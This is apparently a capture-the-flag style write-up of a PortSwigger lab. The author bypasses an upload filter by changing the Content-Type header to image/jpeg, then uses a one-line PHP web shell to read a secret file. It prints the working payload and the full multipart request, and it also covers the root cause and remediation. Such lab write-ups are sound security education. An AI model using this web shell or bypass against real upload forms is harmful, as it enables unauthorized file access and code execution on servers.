September 17, 2026
PortSwigger Lab: Web shell upload via Content-Type restriction bypass
Lab Information:

By sa0k0
3 min read
Lab Information:
- Vulnerability Location: Web shell upload via Content-Type restriction bypass
- Difficulty: Apprentice
- Objective: Exfiltrate the file
/home/carlos/secretusing a web shell. - Tools: Burp Suite
- Provided Credentials:
wiener:peter
Introduction
In this lab, the application tries to protect its image upload function by checking the file type โ but it does so using data that the user controls. I show how I bypassed this restriction by changing the Content-Type header, uploaded a PHP web shell, and used it to read a sensitive file.
This write-up covers the reconnaissance, the exploitation steps, the root cause, the real-world impact, and how to prevent it.
Reconnaissance:
Lab Description Lookup:
The lab description says that the application has an image upload function that tries to prevent the user from uploading file types other than the expected ones, but it relies on data that is controllable by the user.
With Burp running, I navigated directly to /my-account and logged in using the credentials provided by the lab (wiener:peter).
Once logged in, I found a function to upload a profile image โ probably the one mentioned in the lab description. I tried to use the same web shell I used in the previous lab โ but this time the application had some protection.
Sorry, file type application/x-php is not allowed. Only image/jpeg and image/png are allowed. Sorry, there was an error uploading your file.
So, I analyzed the request to check what I could change to bypass this protection.
------WebKitFormBoundary8Qft5zlNpYnoAVhm
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/x-php
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundary8Qft5zlNpYnoAVhm
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundary8Qft5zlNpYnoAVhm
Content-Disposition: form-data; name="csrf"
9RvXXE4AWfM3gjXbTQzRvDOKFj6BqkWh
------WebKitFormBoundary8Qft5zlNpYnoAVhm--------WebKitFormBoundary8Qft5zlNpYnoAVhm
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/x-php
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundary8Qft5zlNpYnoAVhm
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundary8Qft5zlNpYnoAVhm
Content-Disposition: form-data; name="csrf"
9RvXXE4AWfM3gjXbTQzRvDOKFj6BqkWh
------WebKitFormBoundary8Qft5zlNpYnoAVhm--Exploitation:
Step 1: Change the Content-Type to bypass the protection.
The error message says that the application only accepts image/jpeg or image/png as the content type. My first attempt was to send the request again, but this time altering the Content-Type to image/jpeg.
In requests such as POST or PUT, the client uses the Content-Type header to specify the type of content being sent to the server. https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Type
------WebKitFormBoundary8Qft5zlNpYnoAVhm
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: image/jpeg------WebKitFormBoundary8Qft5zlNpYnoAVhm
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: image/jpegAnd the response was 200. So the shell was uploaded.
HTTP/2 200 OK
Date: Wed, 16 Sep 2026 16:43:37 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 132
The file avatars/exploit.php has been uploaded.<p><a href="/my-account" title="Return to previous page">ยซ Back to My Account</a></p>HTTP/2 200 OK
Date: Wed, 16 Sep 2026 16:43:37 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 132
The file avatars/exploit.php has been uploaded.<p><a href="/my-account" title="Return to previous page">ยซ Back to My Account</a></p>Step 2: Access the uploaded file
After uploading the file, I had to access it in order to see its output. Uploaded avatars are served from /files/avatars/, so the web shell was reachable at /files/avatars/exploit.php.
I clicked to open the picture in a new tab, which requested that path. Instead of an image, the response showed the contents of Carlos's secret file:
HTTP/2 200 OK
Date: Wed, 16 Sep 2026 16:43:50 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
[REDACTED]HTTP/2 200 OK
Date: Wed, 16 Sep 2026 16:43:50 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
[REDACTED]The server executed the PHP code and returned the secret. I submitted the content as the lab solution and the lab was solved.
Root Cause
The application validated the uploaded file using the Content-Type header sent by the client. Since this header is fully controlled by the user, I could set it to image/jpeg while the actual content remained a PHP web shell. The server trusted client-supplied metadata instead of inspecting the real file content, and it stored the file in a directory that executes PHP.
Impact
By bypassing the file type restriction, an attacker can upload a web shell and gain remote code execution (RCE) on the server with the privileges of the web application.
In real-world applications, this is a critical vulnerability. An attacker could read arbitrary files, modify or destroy data, install a persistent backdoor, or pivot into internal systems โ leading to full server compromise.
Remediation
To prevent this issue, applications should:
- Never trust the
Content-Typeheader, as it is client-controlled; - Validate uploaded files server-side using an allow-list of extensions, and verify the file's content (e.g., MIME type and magic bytes), not just its name or declared type;
- Never store user uploads in a location the web server executes โ serve them from a separate domain or static storage with scripting disabled;
- Randomize uploaded file names instead of preserving attacker-controlled paths;
- Run the application with the least privileges necessary, so that code execution does not immediately grant full access to the system.
Key Takeaways
- The
Content-Typeheader is client-controlled and must never be trusted for security decisions. - Validating only the declared MIME type is easily bypassable.
- Real validation inspects the file's content (magic bytes), not the metadata sent by the client.
- Restricting the extension is not enough if the storage directory executes code.
- A single bypass of a weak control can escalate directly to full server compromise.
References
- PortSwigger โ File Upload Vulnerabilities
- PortSwigger โ Web shell upload via Content-Type restriction bypass (lab)
- MDN โ Content-Type
- OWASP โ Unrestricted File Upload
Disclaimer
This write-up was created for educational purposes only. All testing was performed in an authorized PortSwigger Web Security Academy laboratory environment. Never test systems without explicit authorization.
This article was written with the assistance of artificial intelligence tools for text review, structure, and grammar correction. However, the entire testing process, technical analysis, vulnerability exploitation, and conclusions presented are the sole responsibility of the author and are based on tests performed in a controlled environment provided by the PortSwigger Web Security Academy.